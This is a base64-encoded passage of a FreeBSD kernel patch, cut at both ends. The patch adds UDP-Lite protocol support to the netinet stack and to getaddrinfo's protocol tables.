U1RSRUFNLCBJUFBST1RPX1RDUCwgMHgwNyB9LAogCXsgUEZfSU5FVCwgU09DS19TVFJFQU0sIElQ UFJPVE9fU0NUUCwgMHgwMyB9LAogCXsgUEZfSU5FVCwgU09DS19TRVFQQUNLRVQsIElQUFJPVE9f U0NUUCwgMHgwNyB9LAorCXsgUEZfSU5FVCwgU09DS19ER1JBTSwgSVBQUk9UT19VRFBMSVRFLCAw eDAzIH0sCiAJeyBQRl9JTkVULCBTT0NLX1JBVywgQU5ZLCAweDA1IH0sCiAJeyAtMSwgMCwgMCwg MCB9LAogfTsKQEAgLTE0NzYsNiArMTQ3OCw5IEBAIGdldF9wb3J0KHN0cnVjdCBhZGRyaW5mbyAq YWksIGNvbnN0IGNoYXIgKnNlcnZuYW1lCiAJCWNhc2UgSVBQUk9UT19TQ1RQOgogCQkJcHJvdG8g PSAic2N0cCI7CiAJCQlicmVhazsKKwkJY2FzZSBJUFBST1RPX1VEUExJVEU6CisJCQlwcm90byA9 ICJ1ZHBsaXRlIjsKKwkJCWJyZWFrOwogCQlkZWZhdWx0OgogCQkJcHJvdG8gPSBOVUxMOwogCQkJ YnJlYWs7CkluZGV4OiBzeXMvbmV0aW5ldC9pbi5jCj09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9uZXRpbmV0 L2luLmMJKHJldmlzaW9uIDI0ODQ1OCkKKysrIHN5cy9uZXRpbmV0L2luLmMJKHdvcmtpbmcgY29w eSkKQEAgLTEyMDUsNiArMTIwNSw3IEBAIGluX2lmZGV0YWNoKHN0cnVjdCBpZm5ldCAqaWZwKQog CiAJaW5fcGNicHVyZ2VpZjAoJlZfcmlwY2JpbmZvLCBpZnApOwogCWluX3BjYnB1cmdlaWYwKCZW X3VkYmluZm8sIGlmcCk7CisJaW5fcGNicHVyZ2VpZjAoJlZfdWxpdGVjYmluZm8sIGlmcCk7CiAJ aW5fcHVyZ2VtYWRkcnMoaWZwKTsKIH0KIApJbmRleDogc3lzL25ldGluZXQvaW4uaAo9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09Ci0tLSBzeXMvbmV0aW5ldC9pbi5oCShyZXZpc2lvbiAyNDg0NTgpCisrKyBzeXMvbmV0aW5l dC9pbi5oCSh3b3JraW5nIGNvcHkpCkBAIC0yMzcsNiArMjM3LDcgQEAgX19FTkRfREVDTFMKICNk ZWZpbmUJSVBQUk9UT19JUENPTVAJCTEwOAkJLyogcGF5bG9hZCBjb21wcmVzc2lvbiAoSVBDb21w KSAqLwogI2RlZmluZQlJUFBST1RPX1NDVFAJCTEzMgkJLyogU0NUUCAqLwogI2RlZmluZQlJUFBS T1RPX01ICQkxMzUJCS8qIElQdjYgTW9iaWxpdHkgSGVhZGVyICovCisjZGVmaW5lCUlQUFJPVE9f VURQTElURQkJMTM2CQkvKiBVRFBMaXRlICovCiAvKiAxMDEtMjU0OiBQYXJ0bHkgVW5hc3NpZ25l ZCAqLwogI2RlZmluZQlJUFBST1RPX1BJTQkJMTAzCQkvKiBQcm90b2NvbCBJbmRlcGVuZGVudCBN Y2FzdCAqLwogI2RlZmluZQlJUFBST1RPX0NBUlAJCTExMgkJLyogQ0FSUCAqLwpJbmRleDogc3lz L25ldGluZXQvaW5fcGNiLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc3lzL25ldGluZXQvaW5fcGNiLmMJKHJl dmlzaW9uIDI0ODQ1OCkKKysrIHN5cy9uZXRpbmV0L2luX3BjYi5jCSh3b3JraW5nIGNvcHkpCkBA IC0zOTAsMTMgKzM5MCwxNCBAQCBpbl9wY2JfbHBvcnQoc3RydWN0IGlucGNiICppbnAsIHN0cnVj dCBpbl9hZGRyICpsYQogCQlsYXN0cG9ydCA9ICZwY2JpbmZvLT5pcGlfbGFzdHBvcnQ7CiAJfQog CS8qCi0JICogRm9yIFVEUCwgdXNlIHJhbmRvbSBwb3J0IGFsbG9jYXRpb24gYXMgbG9uZyBhcyB0 aGUgdXNlcgorCSAqIEZvciBVRFAoLUxpdGUpLCB1c2UgcmFuZG9tIHBvcnQgYWxsb2NhdGlvbiBh cyBsb25nIGFzIHRoZSB1c2VyCiAJICogYWxsb3dzIGl0LiAgRm9yIFRDUCAoYW5kIGFzIG9mIHll dCB1bmtub3duKSBjb25uZWN0aW9ucywKIAkgKiB1c2UgcmFuZG9tIHBvcnQgYWxsb2NhdGlvbiBv bmx5IGlmIHRoZSB1c2VyIGFsbG93cyBpdCBBTkQKIAkgKiBpcHBvcnRfdGljaygpIGFsbG93cyBp dC4KIAkgKi8KIAlpZiAoVl9pcHBvcnRfcmFuZG9taXplZCAmJgotCQkoIVZfaXBwb3J0X3N0b3By YW5kb20gfHwgcGNiaW5mbyA9PSAmVl91ZGJpbmZvKSkKKwkJKCFWX2lwcG9ydF9zdG9wcmFuZG9t IHx8IHBjYmluZm8gPT0gJlZfdWRiaW5mbyB8fAorCQlwY2JpbmZvID09ICZWX3VsaXRlY2JpbmZv KSkKIAkJZG9yYW5kb20gPSAxOwogCWVsc2UKIAkJZG9yYW5kb20gPSAwOwpAQCAtNDA2LDggKzQw Nyw4IEBAIGluX3BjYl9scG9ydChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IGluX2FkZHIgKmxh CiAJICovCiAJaWYgKGZpcnN0ID09IGxhc3QpCiAJCWRvcmFuZG9tID0gMDsKLQkvKiBNYWtlIHN1 cmUgdG8gbm90IGluY2x1ZGUgVURQIHBhY2tldHMgaW4gdGhlIGNvdW50LiAqLwotCWlmIChwY2Jp bmZvICE9ICZWX3VkYmluZm8pCisJLyogTWFrZSBzdXJlIHRvIG5vdCBpbmNsdWRlIFVEUCgtTGl0 ZSkgcGFja2V0cyBpbiB0aGUgY291bnQuICovCisJaWYgKHBjYmluZm8gIT0gJlZfdWRiaW5mbyB8 fCBwY2JpbmZvICE9ICZWX3VsaXRlY2JpbmZvKQogCQlWX2lwcG9ydF90Y3BhbGxvY3MrKzsKIAkv KgogCSAqIEluc3RlYWQgb2YgaGF2aW5nIHR3byBsb29wcyBmdXJ0aGVyIGRvd24gY291bnRpbmcg dXAgb3IgZG93bgpJbmRleDogc3lzL25ldGluZXQvaW5fcHJvdG8uYwo9PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBz eXMvbmV0aW5ldC9pbl9wcm90by5jCShyZXZpc2lvbiAyNDg0NTgpCisrKyBzeXMvbmV0aW5ldC9p bl9wcm90by5jCSh3b3JraW5nIGNvcHkpCkBAIC0xODQsNiArMTg0LDIwIEBAIHN0cnVjdCBwcm90 b3N3IGluZXRzd1tdID0gewogfSwKICNlbmRpZiAvKiBTQ1RQICovCiB7CisJLnByX3R5cGUgPQkJ U09DS19ER1JBTSwKKwkucHJfZG9tYWluID0JCSZpbmV0ZG9tYWluLAorCS5wcl9wcm90b2NvbCA9 CQlJUFBST1RPX1VEUExJVEUsCisJLnByX2ZsYWdzID0JCVBSX0FUT01JQ3xQUl9BRERSLAorCS5w cl9pbnB1dCA9CQl1ZHBfaW5wdXQsCisJLnByX2N0bGlucHV0ID0JCXVkcGxpdGVfY3RsaW5wdXQs CisJLnByX2N0bG91dHB1dCA9CQl1ZHBfY3Rsb3V0cHV0LAorCS5wcl9pbml0ID0JCXVkcGxpdGVf aW5pdCwKKyNpZmRlZiBWSU1BR0UKKwkucHJfZGVzdHJveSA9CQl1ZHBsaXRlX2Rlc3Ryb3ksCisj ZW5kaWYKKwkucHJfdXNycmVxcyA9CQkmdWRwX3VzcnJlcXMKK30sCit7CiAJLnByX3R5cGUgPQkJ U09DS19SQVcsCiAJLnByX2RvbWFpbiA9CQkmaW5ldGRvbWFpbiwKIAkucHJfcHJvdG9jb2wgPQkJ SVBQUk9UT19SQVcsCkBAIC0zNzAsNiArMzg0LDcgQEAgU1lTQ1RMX05PREUoX25ldF9pbmV0LCBJ UFBST1RPX1RDUCwJdGNwLAlDVExGTEFHX1IKICNpZmRlZiBTQ1RQCiBTWVNDVExfTk9ERShfbmV0 X2luZXQsIElQUFJPVE9fU0NUUCwJc2N0cCwJQ1RMRkxBR19SVywgMCwJIlNDVFAiKTsKICNlbmRp ZgorU1lTQ1RMX05PREUoX25ldF9pbmV0LCBJUFBST1RPX1VEUExJVEUsCXVkcGxpdGUsQ1RMRkxB R19SVywgMCwJIlVEUExpdGUiKTsKIFNZU0NUTF9OT0RFKF9uZXRfaW5ldCwgSVBQUk9UT19JR01Q LAlpZ21wLAlDVExGTEFHX1JXLCAwLAkiSUdNUCIpOwogI2lmZGVmIElQU0VDCiAvKiBYWFggbm8g cHJvdG9jb2wgIyB0byB1c2UsIHBpY2sgc29tZXRoaW5nICJyZXNlcnZlZCIgKi8KSW5kZXg6IHN5 cy9uZXRpbmV0L3VkcF91c3JyZXEuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvbmV0aW5ldC91ZHBfdXNy cmVxLmMJKHJldmlzaW9uIDI0ODQ1OCkKKysrIHN5cy9uZXRpbmV0L3VkcF91c3JyZXEuYwkod29y a2luZyBjb3B5KQpAQCAtODQsNiArODQsNyBAQCBfX0ZCU0RJRCgiJEZyZWVCU0QkIik7CiAjZW5k aWYKICNpbmNsdWRlIDxuZXRpbmV0L3VkcC5oPgogI2luY2x1ZGUgPG5ldGluZXQvdWRwX3Zhci5o PgorI2luY2x1ZGUgPG5ldGluZXQvdWRwbGl0ZS5oPgogCiAjaWZkZWYgSVBTRUMKICNpbmNsdWRl IDxuZXRpcHNlYy9pcHNlYy5oPgpAQCAtMTMxLDEzICsxMzIsMTggQEAgdV9sb25nCXVkcF9yZWN2 c3BhY2UgPSA0MCAqICgxMDI0ICsKICNlbmRpZgogCQkJCSAgICAgICk7CiAKKwogU1lTQ1RMX1VM T05HKF9uZXRfaW5ldF91ZHAsIFVEUENUTF9SRUNWU1BBQ0UsIHJlY3ZzcGFjZSwgQ1RMRkxBR19S VywKICAgICAmdWRwX3JlY3ZzcGFjZSwgMCwgIk1heGltdW0gc3BhY2UgZm9yIGluY29taW5nIFVE UCBkYXRhZ3JhbXMiKTsKIAogVk5FVF9ERUZJTkUoc3RydWN0IGlucGNiaGVhZCwgdWRiKTsJCS8q IGZyb20gdWRwX3Zhci5oICovCiBWTkVUX0RFRklORShzdHJ1Y3QgaW5wY2JpbmZvLCB1ZGJpbmZv KTsKK1ZORVRfREVGSU5FKHN0cnVjdCBpbnBjYmhlYWQsIHVsaXRlY2IpOworVk5FVF9ERUZJTkUo c3RydWN0IGlucGNiaW5mbywgdWxpdGVjYmluZm8pOwogc3RhdGljIFZORVRfREVGSU5FKHVtYV96 b25lX3QsIHVkcGNiX3pvbmUpOwotI2RlZmluZQlWX3VkcGNiX3pvbmUJCQlWTkVUKHVkcGNiX3pv bmUpCitzdGF0aWMgVk5FVF9ERUZJTkUodW1hX3pvbmVfdCwgdWRwbGl0ZWNiX3pvbmUpOworI2Rl ZmluZQlWX3VkcGNiX3pvbmUJCVZORVQodWRwY2Jfem9uZSkKKyNkZWZpbmUJVl91ZHBsaXRlY2Jf em9uZQlWTkVUKHVkcGxpdGVjYl96b25lKQogCiAjaWZuZGVmIFVEQkhBU0hTSVpFCiAjZGVmaW5l CVVEQkhBU0hTSVpFCTEyOApAQCAtMTcxLDYgKzE3NywxNCBAQCB1ZHBfem9uZV9jaGFuZ2Uodm9p ZCAqdGFnKQogCXVtYV96b25lX3NldF9tYXgoVl91ZHBjYl96b25lLCBtYXhzb2NrZXRzKTsKIH0K IAorc3RhdGljIHZvaWQKK3VkcGxpdGVfem9uZV9jaGFuZ2Uodm9pZCAqdGFnKQoreworCisJdW1h X3pvbmVfc2V0X21heChWX3VsaXRlY2JpbmZvLmlwaV96b25lLCBtYXhzb2NrZXRzKTsKKwl1bWFf em9uZV9zZXRfbWF4KFZfdWRwbGl0ZWNiX3pvbmUsIG1heHNvY2tldHMpOworfQorCiBzdGF0aWMg aW50CiB1ZHBfaW5wY2JfaW5pdCh2b2lkICptZW0sIGludCBzaXplLCBpbnQgZmxhZ3MpCiB7CkBA IC0xODEsNiArMTk1LDE2IEBAIHVkcF9pbnBjYl9pbml0KHZvaWQgKm1lbSwgaW50IHNpemUsIGlu dCBmbGFncykKIAlyZXR1cm4gKDApOwogfQogCitzdGF0aWMgaW50Cit1ZHBsaXRlX2lucGNiX2lu aXQodm9pZCAqbWVtLCBpbnQgc2l6ZSwgaW50IGZsYWdzKQoreworCXN0cnVjdCBpbnBjYiAqaW5w OworCisJaW5wID0gbWVtOworCUlOUF9MT0NLX0lOSVQoaW5wLCAiaW5wIiwgInVkcGxpdGVpbnAi KTsKKwlyZXR1cm4gKDApOworfQorCiB2b2lkCiB1ZHBfaW5pdCh2b2lkKQogewpAQCAtMTk2LDYg KzIyMCwyMiBAQCB1ZHBfaW5pdCh2b2lkKQogCSAgICBFVkVOVEhBTkRMRVJfUFJJX0FOWSk7CiB9 CiAKK3ZvaWQKK3VkcGxpdGVfaW5pdCh2b2lkKQoreworCisJaW5fcGNiaW5mb19pbml0KCZWX3Vs aXRlY2JpbmZvLCAidWRwbGl0ZSIsICZWX3VsaXRlY2IsIFVEQkhBU0hTSVpFLAorCSAgICBVREJI QVNIU0laRSwgInVkcGxpdGVfaW5wY2IiLCB1ZHBsaXRlX2lucGNiX2luaXQsIE5VTEwsCisJICAg IFVNQV9aT05FX05PRlJFRSwgSVBJX0hBU0hGSUVMRFNfMlRVUExFKTsKKwlWX3VkcGxpdGVjYl96 b25lID0gdW1hX3pjcmVhdGUoInVkcGxpdGVjYiIsIHNpemVvZihzdHJ1Y3QgdWRwY2IpLAorCSAg ICBOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCBVTUFfQUxJR05fUFRSLCBVTUFfWk9ORV9OT0ZSRUUp OworCXVtYV96b25lX3NldF9tYXgoVl91ZHBsaXRlY2Jfem9uZSwgbWF4c29ja2V0cyk7CisJdW1h X3pvbmVfc2V0X3dhcm5pbmcoVl91ZHBsaXRlY2Jfem9uZSwKKwkgICAgImtlcm4uaXBjLm1heHNv Y2tldHMgbGltaXQgcmVhY2hlZCIpOworCUVWRU5USEFORExFUl9SRUdJU1RFUihtYXhzb2NrZXRz X2NoYW5nZSwgdWRwbGl0ZV96b25lX2NoYW5nZSwgTlVMTCwKKwkgICAgRVZFTlRIQU5ETEVSX1BS SV9BTlkpOworfQorCiAvKgogICogS2VybmVsIG1vZHVsZSBpbnRlcmZhY2UgZm9yIHVwZGF0aW5n IHVkcHN0YXQuICBUaGUgYXJndW1lbnQgaXMgYW4gaW5kZXgKICAqIGludG8gdWRwc3RhdCB0cmVh dGVkIGFzIGFuIGFycmF5IG9mIHVfbG9uZy4gIFdoaWxlIHRoaXMgZW5jb2RlcyB0aGUKQEAgLTIx NSw3ICsyNTUsMTAgQEAgdWRwX25ld3VkcGNiKHN0cnVjdCBpbnBjYiAqaW5wKQogewogCXN0cnVj dCB1ZHBjYiAqdXA7CiAKLQl1cCA9IHVtYV96YWxsb2MoVl91ZHBjYl96b25lLCBNX05PV0FJVCB8 IE1fWkVSTyk7CisJaWYgKGlucC0+aW5wX3NvY2tldC0+c29fcHJvdG8tPnByX3Byb3RvY29sID09 IElQUFJPVE9fVURQKQorCQl1cCA9IHVtYV96YWxsb2MoVl91ZHBjYl96b25lLCBNX05PV0FJVCB8 IE1fWkVSTyk7CisJZWxzZQorCQl1cCA9IHVtYV96YWxsb2MoVl91ZHBsaXRlY2Jfem9uZSwgTV9O T1dBSVQgfCBNX1pFUk8pOwogCWlmICh1cCA9PSBOVUxMKQogCQlyZXR1cm4gKEVOT0JVRlMpOwog CWlucC0+aW5wX3BwY2IgPSB1cDsKQEAgLTIyMywxMCArMjY2LDEyIEBAIHVkcF9uZXd1ZHBjYihz dHJ1Y3QgaW5wY2IgKmlucCkKIH0KIAogdm9pZAotdWRwX2Rpc2NhcmRjYihzdHJ1Y3QgdWRwY2Ig KnVwKQordWRwX2Rpc2NhcmRjYihzdHJ1Y3QgdWRwY2IgKnVwLCBpbnQgaXN1ZHApCiB7Ci0KLQl1 bWFfemZyZWUoVl91ZHBjYl96b25lLCB1cCk7CisJaWYgKGlzdWRwKQorCQl1bWFfemZyZWUoVl91 ZHBjYl96b25lLCB1cCk7CisJZWxzZQorCQl1bWFfemZyZWUoVl91ZHBsaXRlY2Jfem9uZSwgdXAp OwogfQogCiAjaWZkZWYgVklNQUdFCkBAIC0yMzcsNiArMjgyLDE0IEBAIHVkcF9kZXN0cm95KHZv aWQpCiAJaW5fcGNiaW5mb19kZXN0cm95KCZWX3VkYmluZm8pOwogCXVtYV96ZGVzdHJveShWX3Vk cGNiX3pvbmUpOwogfQorCit2b2lkCit1ZHBsaXRlX2Rlc3Ryb3kodm9pZCkKK3sKKworCWluX3Bj YmluZm9fZGVzdHJveSgmVl91bGl0ZWNiaW5mbyk7CisJdW1hX3pkZXN0cm95KFZfdWRwbGl0ZWNi X3pvbmUpOworfQogI2VuZGlmCiAKICNpZmRlZiBJTkVUCkBAIC0zMzksMTAgKzM5MiwxMyBAQCB1 ZHBfaW5wdXQoc3RydWN0IG1idWYgKm0sIGludCBvZmYpCiAJc3RydWN0IHVkcGhkciAqdWg7CiAJ c3RydWN0IGlmbmV0ICppZnA7CiAJc3RydWN0IGlucGNiICppbnA7CisJc3RydWN0IGlucGNiaW5m byAqcGNiaW5mbzsKIAl1aW50MTZfdCBsZW4sIGlwX2xlbjsKIAlzdHJ1Y3QgaXAgc2F2ZV9pcDsK IAlzdHJ1Y3Qgc29ja2FkZHJfaW4gdWRwX2luOwogCXN0cnVjdCBtX3RhZyAqZndkX3RhZzsKKwlp bnQgY3Njb3ZfcGFydGlhbDsKKwl1aW50OF90IHByOwogCiAJaWZwID0gbS0+bV9wa3RoZHIucmN2 aWY7CiAJVURQU1RBVF9JTkModWRwc19pcGFja2V0cyk7CkBAIC0zNjksNyArNDI1LDggQEAgdWRw X2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCQlpcCA9IG10b2QobSwgc3RydWN0IGlw ICopOwogCX0KIAl1aCA9IChzdHJ1Y3QgdWRwaGRyICopKChjYWRkcl90KWlwICsgaXBobGVuKTsK LQorCXByID0gaXAtPmlwX3A7CisJY3Njb3ZfcGFydGlhbCA9IChwciA9PSBJUFBST1RPX1VEUExJ VEUpID8gMSA6IDA7CiAJLyoKIAkgKiBEZXN0aW5hdGlvbiBwb3J0IG9mIDAgaXMgaWxsZWdhbCwg YmFzZWQgb24gUkZDNzY4LgogCSAqLwpAQCAtMzkyLDEyICs0NDksMTkgQEAgdWRwX2lucHV0KHN0 cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCSAqLwogCWxlbiA9IG50b2hzKCh1X3Nob3J0KXVoLT51 aF91bGVuKTsKIAlpcF9sZW4gPSBudG9ocyhpcC0+aXBfbGVuKSAtIGlwaGxlbjsKKwlpZiAocHIg PT0gSVBQUk9UT19VRFBMSVRFICYmIGxlbiA9PSAwKSB7CisJCS8qIFplcm8gbWVhbnMgY2hlY2tz dW0gb3ZlciB0aGUgY29tcGxldGUgcGFja2V0LiAqLworCQlsZW4gPSBpcF9sZW47CisJCWNzY292 X3BhcnRpYWwgPSAwOworCX0KKwogCWlmIChpcF9sZW4gIT0gbGVuKSB7CiAJCWlmIChsZW4gPiBp cF9sZW4gfHwgbGVuIDwgc2l6ZW9mKHN0cnVjdCB1ZHBoZHIpKSB7CiAJCQlVRFBTVEFUX0lOQyh1 ZHBzX2JhZGxlbik7CiAJCQlnb3RvIGJhZHVubG9ja2VkOwogCQl9Ci0JCW1fYWRqKG0sIGxlbiAt IGlwX2xlbik7CisJCWlmIChwciA9PSBJUFBST1RPX1VEUCkKKwkJCW1fYWRqKG0sIGxlbiAtIGlw X2xlbik7CiAJfQogCiAJLyoKQEAgLTQxNSwyMCArNDc5LDI0IEBAIHVkcF9pbnB1dChzdHJ1Y3Qg bWJ1ZiAqbSwgaW50IG9mZikKIAlpZiAodWgtPnVoX3N1bSkgewogCQl1X3Nob3J0IHVoX3N1bTsK IAotCQlpZiAobS0+bV9wa3RoZHIuY3N1bV9mbGFncyAmIENTVU1fREFUQV9WQUxJRCkgeworCQlp ZiAoKG0tPm1fcGt0aGRyLmNzdW1fZmxhZ3MgJiBDU1VNX0RBVEFfVkFMSUQpICYmCisJCSAgICAh Y3Njb3ZfcGFydGlhbCkgewogCQkJaWYgKG0tPm1fcGt0aGRyLmNzdW1fZmxhZ3MgJiBDU1VNX1BT RVVET19IRFIpCiAJCQkJdWhfc3VtID0gbS0+bV9wa3RoZHIuY3N1bV9kYXRhOwogCQkJZWxzZQog CQkJCXVoX3N1bSA9IGluX3BzZXVkbyhpcC0+aXBfc3JjLnNfYWRkciwKIAkJCQkgICAgaXAtPmlw X2RzdC5zX2FkZHIsIGh0b25sKCh1X3Nob3J0KWxlbiArCi0JCQkJICAgIG0tPm1fcGt0aGRyLmNz dW1fZGF0YSArIElQUFJPVE9fVURQKSk7CisJCQkJICAgIG0tPm1fcGt0aGRyLmNzdW1fZGF0YSAr IHByKSk7CiAJCQl1aF9zdW0gXj0gMHhmZmZmOwogCQl9IGVsc2UgewogCQkJY2hhciBiWzldOwog CiAJCQliY29weSgoKHN0cnVjdCBpcG92bHkgKilpcCktPmloX3gxLCBiLCA5KTsKIAkJCWJ6ZXJv KCgoc3RydWN0IGlwb3ZseSAqKWlwKS0+aWhfeDEsIDkpOwotCQkJKChzdHJ1Y3QgaXBvdmx5ICop aXApLT5paF9sZW4gPSB1aC0+dWhfdWxlbjsKKwkJCWlmIChwciA9PSBJUFBST1RPX1VEUCkKKwkJ CQkoKHN0cnVjdCBpcG92bHkgKilpcCktPmloX2xlbiA9IHVoLT51aF91bGVuOworCQkJZWxzZQor CQkJCSgoc3RydWN0IGlwb3ZseSAqKWlwKS0+aWhfbGVuID0gaHRvbnMoaXBfbGVuKTsKIAkJCXVo X3N1bSA9IGluX2Nrc3VtKG0sIGxlbiArIHNpemVvZiAoc3RydWN0IGlwKSk7CiAJCQliY29weShi LCAoKHN0cnVjdCBpcG92bHkgKilpcCktPmloX3gxLCA5KTsKIAkJfQpAQCAtNDQwLDE0ICs1MDgs MTggQEAgdWRwX2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCX0gZWxzZQogCQlVRFBT VEFUX0lOQyh1ZHBzX25vc3VtKTsKIAorCXBjYmluZm8gPSAocHIgPT0gSVBQUk9UT19VRFApID8g JlZfdWRiaW5mbyA6ICZWX3VsaXRlY2JpbmZvOworCiAJaWYgKElOX01VTFRJQ0FTVChudG9obChp cC0+aXBfZHN0LnNfYWRkcikpIHx8CiAJICAgIGluX2Jyb2FkY2FzdChpcC0+aXBfZHN0LCBpZnAp KSB7CiAJCXN0cnVjdCBpbnBjYiAqbGFzdDsKKwkJc3RydWN0IGlucGNiaGVhZCAqcGNibGlzdDsK IAkJc3RydWN0IGlwX21vcHRpb25zICppbW87CiAKLQkJSU5QX0lORk9fUkxPQ0soJlZfdWRiaW5m byk7CisJCUlOUF9JTkZPX1JMT0NLKHBjYmluZm8pOworCQlwY2JsaXN0ID0gKHByID09IElQUFJP VE9fVURQKSA/ICZWX3VkYiA6ICZWX3VsaXRlY2I7CiAJCWxhc3QgPSBOVUxMOwotCQlMSVNUX0ZP UkVBQ0goaW5wLCAmVl91ZGIsIGlucF9saXN0KSB7CisJCUxJU1RfRk9SRUFDSChpbnAsIHBjYmxp c3QsIGlucF9saXN0KSB7CiAJCQlpZiAoaW5wLT5pbnBfbHBvcnQgIT0gdWgtPnVoX2Rwb3J0KQog CQkJCWNvbnRpbnVlOwogI2lmZGVmIElORVQ2CkBAIC01MzMsMTIgKzYwNSwxMiBAQCB1ZHBfaW5w dXQoc3RydWN0IG1idWYgKm0sIGludCBvZmYpCiAJCQlVRFBTVEFUX0lOQyh1ZHBzX25vcG9ydGJj YXN0KTsKIAkJCWlmIChpbnApCiAJCQkJSU5QX1JVTkxPQ0soaW5wKTsKLQkJCUlOUF9JTkZPX1JV TkxPQ0soJlZfdWRiaW5mbyk7CisJCQlJTlBfSU5GT19SVU5MT0NLKHBjYmluZm8pOwogCQkJZ290 byBiYWR1bmxvY2tlZDsKIAkJfQogCQl1ZHBfYXBwZW5kKGxhc3QsIGlwLCBtLCBpcGhsZW4sICZ1 ZHBfaW4pOwogCQlJTlBfUlVOTE9DSyhsYXN0KTsKLQkJSU5QX0lORk9fUlVOTE9DSygmVl91ZGJp bmZvKTsKKwkJSU5QX0lORk9fUlVOTE9DSyhwY2JpbmZvKTsKIAkJcmV0dXJuOwogCX0KIApAQCAt NTU5LDcgKzYzMSw3IEBAIHVkcF9pbnB1dChzdHJ1Y3QgbWJ1ZiAqbSwgaW50IG9mZikKIAkJICog VHJhbnNwYXJlbnRseSBmb3J3YXJkZWQuIFByZXRlbmQgdG8gYmUgdGhlIGRlc3RpbmF0aW9uLgog CQkgKiBBbHJlYWR5IGdvdCBvbmUgbGlrZSB0aGlzPwogCQkgKi8KLQkJaW5wID0gaW5fcGNibG9v a3VwX21idWYoJlZfdWRiaW5mbywgaXAtPmlwX3NyYywgdWgtPnVoX3Nwb3J0LAorCQlpbnAgPSBp bl9wY2Jsb29rdXBfbWJ1ZihwY2JpbmZvLCBpcC0+aXBfc3JjLCB1aC0+dWhfc3BvcnQsCiAJCSAg ICBpcC0+aXBfZHN0LCB1aC0+dWhfZHBvcnQsIElOUExPT0tVUF9STE9DS1BDQiwgaWZwLCBtKTsK IAkJaWYgKCFpbnApIHsKIAkJCS8qCkBAIC01NjcsNyArNjM5LDcgQEAgdWRwX2lucHV0KHN0cnVj dCBtYnVmICptLCBpbnQgb2ZmKQogCQkJICogQmVjYXVzZSB3ZSd2ZSByZXdyaXR0ZW4gdGhlIGRl c3RpbmF0aW9uIGFkZHJlc3MsCiAJCQkgKiBhbnkgaGFyZHdhcmUtZ2VuZXJhdGVkIGhhc2ggaXMg aWdub3JlZC4KIAkJCSAqLwotCQkJaW5wID0gaW5fcGNibG9va3VwKCZWX3VkYmluZm8sIGlwLT5p cF9zcmMsCisJCQlpbnAgPSBpbl9wY2Jsb29rdXAocGNiaW5mbywgaXAtPmlwX3NyYywKIAkJCSAg ICB1aC0+dWhfc3BvcnQsIG5leHRfaG9wLT5zaW5fYWRkciwKIAkJCSAgICBuZXh0X2hvcC0+c2lu X3BvcnQgPyBodG9ucyhuZXh0X2hvcC0+c2luX3BvcnQpIDoKIAkJCSAgICB1aC0+dWhfZHBvcnQs IElOUExPT0tVUF9XSUxEQ0FSRCB8CkBAIC01NzcsNyArNjQ5LDcgQEAgdWRwX2lucHV0KHN0cnVj dCBtYnVmICptLCBpbnQgb2ZmKQogCQltX3RhZ19kZWxldGUobSwgZndkX3RhZyk7CiAJCW0tPm1f ZmxhZ3MgJj0gfk1fSVBfTkVYVEhPUDsKIAl9IGVsc2UKLQkJaW5wID0gaW5fcGNibG9va3VwX21i dWYoJlZfdWRiaW5mbywgaXAtPmlwX3NyYywgdWgtPnVoX3Nwb3J0LAorCQlpbnAgPSBpbl9wY2Js b29rdXBfbWJ1ZihwY2JpbmZvLCBpcC0+aXBfc3JjLCB1aC0+dWhfc3BvcnQsCiAJCSAgICBpcC0+ aXBfZHN0LCB1aC0+dWhfZHBvcnQsIElOUExPT0tVUF9XSUxEQ0FSRCB8CiAJCSAgICBJTlBMT09L VVBfUkxPQ0tQQ0IsIGlmcCwgbSk7CiAJaWYgKGlucCA9PSBOVUxMKSB7CkBAIC02MTMsNiArNjg1 LDE2IEBAIHVkcF9pbnB1dChzdHJ1Y3QgbWJ1ZiAqbSwgaW50IG9mZikKIAkJbV9mcmVlbShtKTsK IAkJcmV0dXJuOwogCX0KKwlpZiAoY3Njb3ZfcGFydGlhbCkgeworCQlzdHJ1Y3QgdWRwY2IgKnVw OworCisJCXVwID0gaW50b3VkcGNiKGlucCk7CisJCWlmICh1cC0+dV9yeGNzbGVuID4gbGVuKSB7 CisJCQlJTlBfUlVOTE9DSyhpbnApOworCQkJbV9mcmVlbShtKTsKKwkJCXJldHVybjsKKwkJfQor CX0KIAl1ZHBfYXBwZW5kKGlucCwgaXAsIG0sIGlwaGxlbiwgJnVkcF9pbik7CiAJSU5QX1JVTkxP Q0soaW5wKTsKIAlyZXR1cm47CkBAIC02NDQsOSArNzI2LDkgQEAgdWRwX25vdGlmeShzdHJ1Y3Qg aW5wY2IgKmlucCwgaW50IGVycm5vKQogCXJldHVybiAoaW5wKTsKIH0KIAotI2lmZGVmIElORVQK LXZvaWQKLXVkcF9jdGxpbnB1dChpbnQgY21kLCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICp2 aXApCitzdGF0aWMgdm9pZAordWRwX2NvbW1vbl9jdGxpbnB1dChpbnQgY21kLCBzdHJ1Y3Qgc29j a2FkZHIgKnNhLCB2b2lkICp2aXAsCisgICAgc3RydWN0IGlucGNiaW5mbyAqcGNiaW5mbykKIHsK IAlzdHJ1Y3QgaXAgKmlwID0gdmlwOwogCXN0cnVjdCB1ZHBoZHIgKnVoOwpAQCAtNjc1LDcgKzc1 Nyw3IEBAIHVkcF9ub3RpZnkoc3RydWN0IGlucGNiICppbnAsIGludCBlcnJubykKIAkJcmV0dXJu 